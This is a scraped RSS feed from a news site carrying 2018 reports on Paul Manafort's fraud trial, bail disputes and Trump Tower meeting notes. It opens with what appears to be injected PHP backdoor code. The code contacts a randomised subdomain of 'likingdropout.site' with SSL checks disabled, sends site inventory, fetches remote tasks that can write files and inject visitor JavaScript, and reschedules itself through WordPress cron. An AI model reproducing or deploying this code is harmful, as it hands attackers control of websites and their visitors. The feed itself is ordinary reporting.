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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Manafort’s – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 21 Dec 2018 19:50:28 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Manafort’s – Brief News https://briefnews.eu 32 32 A Republican lawmaker invoked Paul Manafort’s adult children in a bizarre defense of Homeland Security secretary Kirstjen Nielsen https://briefnews.eu/a-republican-lawmaker-invoked-paul-manaforts-adult-children-in-a-bizarre-defense-of-homeland-security-secretary-kirstjen-nielsen/ https://briefnews.eu/a-republican-lawmaker-invoked-paul-manaforts-adult-children-in-a-bizarre-defense-of-homeland-security-secretary-kirstjen-nielsen/#respond Fri, 21 Dec 2018 19:50:28 +0000 http://briefnews.eu/a-republican-lawmaker-invoked-paul-manaforts-adult-children-in-a-bizarre-defense-of-homeland-security-secretary-kirstjen-nielsen/ Louie Gohmert Eric Holder asparagusAP

  • A Republican lawmaker likened the Trump administration’s discontinued child separation policy at the US-Mexico border to the children of Paul Manafort, Donald Trump’s former campaign chairman.
  • Manafort, who faces increased scrutiny after allegedly breaching his plea agreement to charges of conspiracy and obstruction of justice in the special counsel’s investigation, is the father of two adult children.
  • Manafort’s children include Jessica, an independent filmmaker who reportedly changed her last name to distance herself from an unwanted “public perception,” and Andrea, who described her father as someone with “no moral or legal compass” and a “a sick f—ing tyrant.”

A Republican lawmaker likened the Trump administration’s discontinued child-separation policy at the US-Mexico border to the fate of President Donald Trump’s former campaign chairman, Paul Manafort, who faces increased scrutiny after allegedly breaching his plea agreement to charges of conspiracy and obstruction of justice.

“I’m always glad to fill in the gaps of people’s knowledge or ignorance in a particular area,” Rep. Louie Gohmert of Texas said during a House Judiciary Committee hearing on immigration and border security. “So let me just state for those who are not aware … parents are separated from children every single day of every year, year after year.”

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]]> https://briefnews.eu/a-republican-lawmaker-invoked-paul-manaforts-adult-children-in-a-bizarre-defense-of-homeland-security-secretary-kirstjen-nielsen/feed/ 0 What Paul Manafort’s highly unusual move to brief Trump’s team on his discussions with Mueller reveals about his strategy https://briefnews.eu/what-paul-manaforts-highly-unusual-move-to-brief-trumps-team-on-his-discussions-with-mueller-reveals-about-his-strategy/ https://briefnews.eu/what-paul-manaforts-highly-unusual-move-to-brief-trumps-team-on-his-discussions-with-mueller-reveals-about-his-strategy/#respond Wed, 28 Nov 2018 16:00:17 +0000 http://briefnews.eu/what-paul-manaforts-highly-unusual-move-to-brief-trumps-team-on-his-discussions-with-mueller-reveals-about-his-strategy/ paul manafort donald trump.JPGReuters

  • Justice Department veterans are flummoxed that lawyers representing Paul Manafort, the former chairman of President Donald Trump’s campaign, are still in touch with Trump’s lawyers following Manafort’s guilty plea.
  • “It is absolutely not normal for a convicted felon and now cooperator to continue to loop in a potential target’s attorneys on the relationship with the prosecutor,” one former DOJ attorney said.
  • There is no official guideline that bars lawyers for different sides of an investigation from communicating with one another, but such communications could severely undermine, or even tank, a cooperation deal.
  • By staying in touch with Trump’s team while cooperating, experts said Manafort could be trying to keep all his options open, including angling for a potential presidential pardon.

As Paul Manafort dominates headlines this week, DOJ veterans say there’s one big question they want an answer to: Why is Manafort’s legal team still communicating with lawyers representing President Donald Trump in the Russia investigation?

Manafort, the former chairman of the Trump campaign, pleaded guilty in September to conspiracy and obstruction charges and has since been cooperating with the special counsel.

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]]> https://briefnews.eu/what-paul-manaforts-highly-unusual-move-to-brief-trumps-team-on-his-discussions-with-mueller-reveals-about-his-strategy/feed/ 0 The jury now deliberating Paul Manafort’s bank fraud case asked the judge a clarifying question that might concern the prosecutors https://briefnews.eu/the-jury-now-deliberating-paul-manaforts-bank-fraud-case-asked-the-judge-a-clarifying-question-that-might-concern-the-prosecutors/ https://briefnews.eu/the-jury-now-deliberating-paul-manaforts-bank-fraud-case-asked-the-judge-a-clarifying-question-that-might-concern-the-prosecutors/#respond Thu, 16 Aug 2018 23:52:10 +0000 http://briefnews.eu/the-jury-now-deliberating-paul-manaforts-bank-fraud-case-asked-the-judge-a-clarifying-question-that-might-concern-the-prosecutors/ paul manafort trial sketchDana Verkouteren via AP

  • Jury deliberations began Thursday in the Virginia bank and tax fraud trial of former Trump campaign chairman Paul Manafort.
  • The jury sent a note to the judge asking for clarification about four topics, including a definition of the term, “reasonable doubt,” the standard to convict in a criminal trial.
  • Legal experts wrote on Twitter that the note could indicate a “compromise verdict” in which the jury convicts Manafort on some charges but acquits him on others. 

Jury deliberations began Thursday morning in the trial of President Donald Trump’s former campaign chairman Paul Manafort, but a verdict was not reached at the end of the first day. 

After a two-week trial in which federal prosecutors from special counsel Robert Mueller’s team and US attorneys in  Eastern District of Virginia tried Manafort on 18 federal charges of tax and bank fraud, both sides have delivered closing arguments and judge T.S. Ellis instructed the jury to begin deliberating at around 10:00 a.m. 

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]]> https://briefnews.eu/paul-manaforts-fashion-choices-top-this-weeks-internet-news-roundup/feed/ 0 The first week of Paul Manafort’s high-stakes criminal trial took off with a bang: Here’s everything you need to know https://briefnews.eu/the-first-week-of-paul-manaforts-high-stakes-criminal-trial-took-off-with-a-bang-heres-everything-you-need-to-know/ https://briefnews.eu/the-first-week-of-paul-manaforts-high-stakes-criminal-trial-took-off-with-a-bang-heres-everything-you-need-to-know/#respond Mon, 06 Aug 2018 03:50:47 +0000 http://briefnews.eu/the-first-week-of-paul-manaforts-high-stakes-criminal-trial-took-off-with-a-bang-heres-everything-you-need-to-know/ paul manafortAP

The first week of Paul Manafort’s criminal trial rapidly took off, as the prosecution used some of Manafort’s closest financial associates to begin mapping out a case for the charges against him.

Manafort is the former chairman of President Donald Trump’s campaign. He is the defendant in two criminal indictments brought by the special counsel Robert Mueller, who is investigating Russia’s interference in the 2016 election and whether the Trump campaign colluded with Moscow to tilt the race in Trump’s favor.

The indictment at the center of the current trial was brought in the Eastern District of Virginia and charges Manafort with tax fraud, bank fraud, and failure to report foreign bank accounts. Manafort’s longtime deputy, Rick Gates, was initially a codefendant until he struck a plea deal with prosecutors in February and began cooperating with the government. He is the prosecution’s star witness in this case and is expected to testify against Manafort early next week.

This week, the jury heard testimony from several critical people, including Manafort’s longtime bookkeeper and accountants, all of whom testified to Manafort’s alleged financial fraud. The jury also heard from purveyors of luxury goods as prosecutors sought to highlight Manafort’s extravagant lifestyle which they say he financed with illicit funds.

Here’s everything you need to know:

Day 1: Jury selection and opening statements

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The trial officially began with jury selection on Tuesday, which legal experts anticipated would take at least a day or two given the complicated optics surrounding the trial.

But the court lived up to its reputation as a “rocket docket” — the Eastern District of Virginia is known as the fastest moving federal court in the country — when 12 jurors and four alternates were selected in under eight hours.

After prosecutors working for Mueller wheeled in ten boxes of documents, assistant US attorney Uzo Asonye delivered a 26-minute opening statement that painted Manafort as a crook who lied about his income, taxes, business dealings, and several other things.

“A man in this courtroom believed the law did not apply to him,” Asonye said.

He pointed out Manafort’s extravagant spending on luxury goods and went through a list of names the government would produce as witnesses who could testify to Manafort’s alleged misdeeds.

The defense, meanwhile, pinned all of its focus on painting Gates as the true fraudster and Manafort as Gates’ fall guy.

One of Manafort’s attorneys, Thomas Zehnle, said “this case is about taxes and trust.”

He said Manafort had simply “failed to check a box” on some forms, and that he had put “his trust in the wrong person,” referring to Gates.

Zehnle’s opening statement was roughly as long as Asonye’s, but his focus didn’t waver from Gates the entire time.

Day 2: Prosecutors present evidence of Manafort’s luxurious lifestyle, but the strategy doesn’t go over well with the judge

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On Wednesday, the prosecution focused squarely on Manafort’s spending on things like expensive home renovations, custom suits and jackets, luxury watches, high-end cars, and upscale residences.

“Prosecutors love to throw in all the over-the-top spending fraudsters usually go for, and Manafort is no exception,” said Jeffrey Cramer, a longtime former federal prosecutor who spent 12 years at the DOJ. “First of all, it’s relevant because you’re following the money. Second, it has a lot of jury appeal.”

But US District Judge T.S. Ellis III, who is overseeing the Manafort case, wasn’t having it.

“Enough is enough,” he said at one point, when the jury was not in the room. He made the remark when prosecutors sought to show documents about the features in one of Manafort’s pricey homes.

“We don’t convict people because they have a lot of money to throw around,” Ellis said.

The jury also heard testimony on Wednesday from Daniel Rabin, a Democratic advertising consultant who said he worked with Manafort in Ukraine to produce dozens of television ads.

After Rabin, the jury heard from FBI special agent Matthew Mikuska. Mikuska was one of the agents involved in the FBI’s search of Manafort’s home in Alexandria, Virginia and he described the unit as a “luxury” condo.

Asonye also described several financial statements the FBI seized which included information about foreign bank accounts that prosecutors allege Manafort failed to disclose. Asonye also highlighted bills for pricey home renovations for properties Manafort owned in Florida and New York.

Later, Ellis appeared to grow frustrated when Asonye asked Mikuska to describe seized documents that referred to Gates. Ellis asked why the line of questioning was necessary, given that Gates was expected to testify.

Asonye surprised observers when he replied that Gates may not testify, but he later clarified his statement and said the government was evaluating all of its witnesses.

Day 3: Manafort’s former bookkeeper testifies that Manafort doctored financial documents to inflate his firm’s income

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Much of Thursday was spent hearing testimony from one key person: Heather Washkuhn, Manafort’s longtime bookkeeper.

Washkuhn described Manafort as “very knowledgeable” and “very detail oriented,” adding that “he approved every penny of everything we paid.” She described Gates as Manafort’s “right-hand man.”

Washkhuhn testified that though she was the main person handling Manafort’s finances, she did not know that he controlled more than a dozen offshore accounts. She also said she came across several loans on Manafort’s ledgers in which she was “unaware” of the underlying loan documentation.

Notably, she also testified that Manafort and Gates appeared to falsify financial statements for Manafort’s consulting firm and inflate the firm’s income to secure bank loans.

During the cross-examination, Manafort’s lawyer, Thomas Zehnle, tried to depict Gates as having been a key figure in any illicit financial activity and Manafort as the fall guy.

Though Washkuhn acknowledged that Gates was important in directing foreign wire transfers to Manafort’s company DMP, she maintained that Manafort “approved every expenditure on the personal and business side.”

 


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]]> https://briefnews.eu/the-first-week-of-paul-manaforts-high-stakes-criminal-trial-took-off-with-a-bang-heres-everything-you-need-to-know/feed/ 0 A federal judge could soon revoke Paul Manafort’s bail after Mueller charged him with witness tampering https://briefnews.eu/a-federal-judge-could-soon-revoke-paul-manaforts-bail-after-mueller-charged-him-with-witness-tampering/ https://briefnews.eu/a-federal-judge-could-soon-revoke-paul-manaforts-bail-after-mueller-charged-him-with-witness-tampering/#respond Tue, 05 Jun 2018 19:57:28 +0000 http://briefnews.eu/a-federal-judge-could-soon-revoke-paul-manaforts-bail-after-mueller-charged-him-with-witness-tampering/ Paul ManafortAP Photo/Matt Rourke

  • US District Judge Amy Berman Jackson has scheduled a hearing for June 15 to decide whether to revoke bail for Paul Manafort, the former chairman of President Donald Trump’s campaign.
  • Manafort has been on supervised release since he was first indicted by the special counsel Robert Mueller’s office last year.
  • But the FBI on Monday accused Manafort of attempting to tamper with witness testimony and subsequently asked the court to revoke or restrict the terms of Manafort’s release.
  • “Mr. Manafort is innocent and nothing about this latest allegation changes our defense,” Manafort’s spokesperson said in a statement Tuesday.

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On Tuesday, a federal judge scheduled a hearing for June 15 about whether to revoke or revise bail for Paul Manafort, the former chairman of President Donald Trump’s campaign.

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]]> https://briefnews.eu/a-federal-judge-could-soon-revoke-paul-manaforts-bail-after-mueller-charged-him-with-witness-tampering/feed/ 0 The 3 reasons why a witness tampering charge could deal a huge blow to Manafort’s defense https://briefnews.eu/the-3-reasons-why-a-witness-tampering-charge-could-deal-a-huge-blow-to-manaforts-defense/ https://briefnews.eu/the-3-reasons-why-a-witness-tampering-charge-could-deal-a-huge-blow-to-manaforts-defense/#respond Tue, 05 Jun 2018 05:38:34 +0000 http://briefnews.eu/the-3-reasons-why-a-witness-tampering-charge-could-deal-a-huge-blow-to-manaforts-defense/ Paul ManafortThomson Reuters

  • Paul Manafort, the former chairman of President Donald Trump’s campaign, has been accused of attempting to tamper with witness testimony.
  • If the special counsel Robert Mueller has enough evidence to prove Manafort did what he has been accused of, there are three reasons it could strike a blow to his defense, and also spell trouble for Trump.
  • A witness tampering charge, like lying to the FBI, can be used as evidence to show a guilty mind and may be “enticing to a jury,” said one former federal prosecutor.
  • If a judge believes Manafort sought to hamper the criminal trial, they are less likely to side with the defense during potentially close calls in a hearing, which could prove disastrous for Manafort.
  • And if a court revokes or restricts Manafort’s bail agreement in light of a witness tampering charge, it ramps up the pressure on him to cooperate — which also spells trouble for Trump.

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Paul Manafort, the former chairman of President Donald Trump’s campaign, has been trying to meet the terms of his $ 10 million bail agreement since he was first indicted by the special counsel Robert Mueller last October.

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]]> https://briefnews.eu/the-3-reasons-why-a-witness-tampering-charge-could-deal-a-huge-blow-to-manaforts-defense/feed/ 0 How Manafort’s inability to convert a Word doc to PDF helped prosecutors https://briefnews.eu/how-manaforts-inability-to-convert-a-word-doc-to-pdf-helped-prosecutors/ https://briefnews.eu/how-manaforts-inability-to-convert-a-word-doc-to-pdf-helped-prosecutors/#respond Fri, 23 Feb 2018 17:28:47 +0000 http://briefnews.eu/how-manaforts-inability-to-convert-a-word-doc-to-pdf-helped-prosecutors/

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Yesterday, federal prosecutors unsealed a new indictment against former Trump campaign manager Paul Manafort. The indictment contains new evidence that Manafort hid millions of dollars in overseas income from US authorities, and it charges Manafort and his associate Richard Gates with numerous counts of tax and bank fraud.

The indictment also suggests that Manafort’s lack of technology savvy helped prosecutors build a case against Manafort and Gates. The pair allegedly submitted a variety of fraudulent documents to lenders in order to borrow money against properties purchased with overseas funds—funds that were never reported to the IRS. One reason prosecutors were able to build a paper trail against the pair: Manafort needed Gates’s help to convert a PDF document to Word format and back again.

In 2016, Manafort allegedly wanted to create a fake profit-and-loss statement for his company, Davis Manafort Partners, in order to inflate his income and qualify for a loan.

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]]> https://briefnews.eu/how-manaforts-inability-to-convert-a-word-doc-to-pdf-helped-prosecutors/feed/ 0 Paul Manafort’s efforts to renegotiate his bail just got him into deeper trouble https://briefnews.eu/paul-manaforts-efforts-to-renegotiate-his-bail-just-got-him-into-deeper-trouble/ https://briefnews.eu/paul-manaforts-efforts-to-renegotiate-his-bail-just-got-him-into-deeper-trouble/#respond Sat, 17 Feb 2018 06:16:54 +0000 http://briefnews.eu/paul-manaforts-efforts-to-renegotiate-his-bail-just-got-him-into-deeper-trouble/ Paul Manafort

  • Paul Manafort, Donald Trump’s former campaign chairman who was charged with money laundering last fall in the Russia investigation, is facing a new claim of bank fraud.
  • The claim surfaced in a document released Friday night that details bail negotiations between Manafort and special counsel Robert Mueller.
  • The document says Manafort wants to withdraw two real-estate properties he offered as collateral to cover a $ 10 million bond. He offered three different properties, instead that are “deficient in various respects.”
  • Mueller alleges that the value of the three new properties fails to reach the $ 10 million threshold for Manafort’s bond, and accuses Manafort of misrepresenting the status of at least one of those properties.

Paul Manafort, the former campaign chairman for President Donald Trump who is facing money laundering charges in the Russia investigation, is now in deeper trouble with special counsel Robert Mueller.

Manafort and his attorneys are trying to renegotiate the terms of his bail, but that effort appears to have backfired, according to a new court document related to that portion of the case that was released Friday night.

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]]> https://briefnews.eu/paul-manaforts-efforts-to-renegotiate-his-bail-just-got-him-into-deeper-trouble/feed/ 0 Cyprus, a former press secretary, and the RNC: We now know more about Manafort’s Trump Tower notes https://briefnews.eu/cyprus-a-former-press-secretary-and-the-rnc-we-now-know-more-about-manaforts-trump-tower-notes/ https://briefnews.eu/cyprus-a-former-press-secretary-and-the-rnc-we-now-know-more-about-manaforts-trump-tower-notes/#respond Sat, 13 Jan 2018 02:46:12 +0000 http://briefnews.eu/cyprus-a-former-press-secretary-and-the-rnc-we-now-know-more-about-manaforts-trump-tower-notes/ FILE PHOTO: Paul Manafort, former campaign manager for U.S. President Donald Trump arrives for a bond hearing at U.S. District Court in Washington, U.S., November 6, 2017. REUTERS/Joshua RobertsThomson Reuters

  • Notes taken by President Donald Trump’s campaign chairman during a meeting at Trump Tower in June 2016 with a Russian lawyer and Russian lobbyist were described in a transcript released by Congress earlier this week.
  • The notes reference Cyprus, the RNC, and Juleanna Glover — a press secretary for former Vice President Dick Cheney who has worked with the anti-corruption activist Bill Browder.
  • Manafort gave his notes, which he took on his iPhone, to the Senate Intelligence Committee last July.

Contemporaneous notes taken by President Donald Trump’s campaign chairman Paul Manafort at a meeting with a Russian lawyer and lobbyist at Trump Tower during the election reference Cyprus, “active sponsors of RNC,” and “Russian adoptions by American families,” according to an interview transcript released by Congress earlier this week.

Senate Judiciary Committee investigators showed the notes to Glenn Simpson, the cofounder of the opposition research firm Fusion GPS, and asked him whether he recognized any of the terms or phrases Manafort wrote down during the June 9 meeting and later provided to congressional investigators.

The notes mentioned “active sponsors of RNC” and referenced Juleanna Glover, a political strategist and lobbyist who served as Dick Cheney’s press secretary during the Iraq war, according to the transcript. There was also a reference to “133 million,” according to Simpson.

“We understand these are meeting notes,” said Jason Foster, the chief investigative counsel for Senate Judiciary Committee chairman Chuck Grassley.

“Do these phrases about — including Mr. Browder, mean anything to you or relate to any of the research that you conducted or otherwise aware of regarding Mr. Browder?” Foster asked.

Bill Browder, a wealthy American banker, was the target of opposition research conducted by Fusion GPS on behalf of a US law firm representing the Russian holding company Prevezon. Browder had accused Prevezon of being involved in a $ 230 million tax-fraud scheme and laundering the stolen money into New York City real estate.

“I could tell — obviously you know who Bill Browder is,” Simpson told the committee, after being shown the Manafort meeting notes. Simpson had told the committee earlier that his work for Prevezon’s American lawyers was focused “on trying to get William Browder to testify under oath about his role in this case and his activities in Russia.”

“Cyprus Offshore, Bill Browder’s structure, you know, investment — Hermitage Capital, his hedge fund, set up numerous companies in Cyprus to engage in inward investment into Russia,” Simpson said, “which is a common structure, both partially for tax reasons but also to have entities outside of Russia, you know, managing specific investments.”

“I can only tell you I assume that’s what that references,” Simpson added. “I don’t know what the 133 million –“

Foster cut Simpson off.

“Do any of the other entries in here mean anything to you in light of the research you’ve conducted or what you otherwise know about Mr. Browder?” he asked.

Simpson said he could guess:

“So, ‘Value in Cyprus as inter,’ I don’t know what that means,” Simpson said. “‘Illici,’ I don’t know what that means ‘Active sponsors of RNC,’ I don’t know what that means. ‘Browder hired Joanna Glover’ is a mistaken reference to Juleanna Glover, who was Dick Cheney’s press secretary during the Iraq war and associated with another foreign policy controversy. ‘Russian adoptions by American families’ I assume is a reference to the adoption issue.”

Simpson added that “a couple of items” in the notes referenced things his firm had worked on, including Cyprus and Bill Browder’s financial ties to the country.

Glover confirmed on Friday that she served as the Ashcroft Group’s lead lobbyist pushing for the Magnitsky Act’s passage between 2011 and 2012, and had worked with Browder in that capacity.

It is not clear why the “RNC” — possibly a reference to the Republican National Committee — was brought up during the meeting. Manafort’s spokesman Jason Maloni declined to comment.

Donald Trump Jr., who was also at the meeting, said in a statement last summer that the Russian lawyer who had promised the campaign dirt on Hillary Clinton spoke only of Russia’s adoption policy. The policy was altered to bar American families from adopting Russian children in retaliation for the signing of the Magnitsky Act in 2012.

Manafort gave his notes, which he took on his iPhone, to the Senate Intelligence Committee last July when he appeared before the committee to testify. He has since been indicted by special counsel Robert Mueller on charges including money laundering, tax-fraud, and violations of the Foreign Agents Registration Act.

NBC reported last August that the notes made a vague reference to political contributions and the RNC and therefore elevated the significance of the notes for congressional investigators. The references to “133 million,” Glover, and Cyprus — where Manafort himself kept bank accounts during his years working in Ukraine and investing with a Russian oligarch — had not been previously reported.

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